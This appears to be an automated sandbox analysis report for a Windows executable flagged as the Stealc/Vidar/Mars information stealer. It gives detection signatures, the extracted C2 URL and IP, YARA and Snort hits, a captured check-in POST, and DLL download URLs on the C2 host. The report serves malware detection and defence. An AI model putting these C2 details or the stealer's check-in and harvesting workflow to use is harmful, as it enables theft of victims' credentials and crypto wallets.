Edit tour

Windows Analysis Report
UvswnLTk5d.exe

Overview

General Information

Sample name:	UvswnLTk5d.exe renamed because original name is a hash value
Original sample name:	e2d45c465fd698e29d05ce3401c01222.exe
Analysis ID:	1427165
MD5:	e2d45c465fd698e29d05ce3401c01222
SHA1:	519160fc2c2b822644e37d1ff9e65a869a2c8278
SHA256:	bf64f0b89179c564e2ccac32d33face7727c828421044c6c132dece09c026aa3
Tags:	exeStealc
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

UvswnLTk5d.exe (PID: 5900 cmdline: "C:\Users\user\Desktop\UvswnLTk5d.exe" MD5: E2D45C465FD698E29D05CE3401C01222)

WerFault.exe (PID: 5652 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 2100 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.23/f993692117a3fda2.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2177739160.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xed0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Process Memory Space: UvswnLTk5d.exe PID: 5900	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: UvswnLTk5d.exe PID: 5900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: UvswnLTk5d.exe PID: 5900	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.UvswnLTk5d.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.UvswnLTk5d.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.UvswnLTk5d.exe.4980e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.UvswnLTk5d.exe.4980e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.UvswnLTk5d.exe.49b0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.UvswnLTk5d.exe.49b0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.UvswnLTk5d.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.UvswnLTk5d.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.UvswnLTk5d.exe.4980e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.UvswnLTk5d.exe.4980e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.UvswnLTk5d.exe.49b0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.UvswnLTk5d.exe.49b0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.23 - Destination IP: 192.168.2.4

Timestamp:	04/17/24-06:57:02.975682
SID:	2051831
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.172.128.23

Timestamp:	04/17/24-06:57:01.805849
SID:	2044243
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.23

Timestamp:	04/17/24-06:57:02.280062
SID:	2044244
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.23

Timestamp:	04/17/24-06:57:02.652579
SID:	2044246
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.23 - Destination IP: 192.168.2.4

Timestamp:	04/17/24-06:57:02.602292
SID:	2051828
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /f993692117a3fda2.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.23Content-Length: 215Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 44 34 46 43 39 44 35 43 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="hwid"DAD4FC9D5C6E2371543510------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="build"default9------GDAAKKEHDHCAAAKFCBAK--

Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.1
Source: UvswnLTk5d.exe, 00000000.00000002.2177676362.0000000002DAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/freebl3.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/mozglue.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll)
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/nss3.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/nss3.dll$?Wg
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/nss3.dllJ
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dll5
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll8
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllc_
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllo
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f9
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.p
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.p2
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.p;
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.pF
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E06000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.php
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.php&
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.php.
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpDz
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpF
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpN
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpV
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpWe
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.0000000029513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpX
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.0000000029513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpb
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phped4e30b6bb11025203694d8734761
Source: UvswnLTk5d.exe, 00000000.00000002.2194035011.0000000029513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpo
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpt
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpuments
Source: UvswnLTk5d.exe, 00000000.00000002.2177676362.0000000002DAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23XYIg
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.1Y
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: UvswnLTk5d.exe, UvswnLTk5d.exe, 00000000.00000002.2197467446.000000006F90D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: UvswnLTk5d.exe, 00000000.00000002.2197057946.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: UvswnLTk5d.exe, 00000000.00000003.1746777104.00000000233ED000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: UvswnLTk5d.exe, 00000000.00000003.1746777104.00000000233ED000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
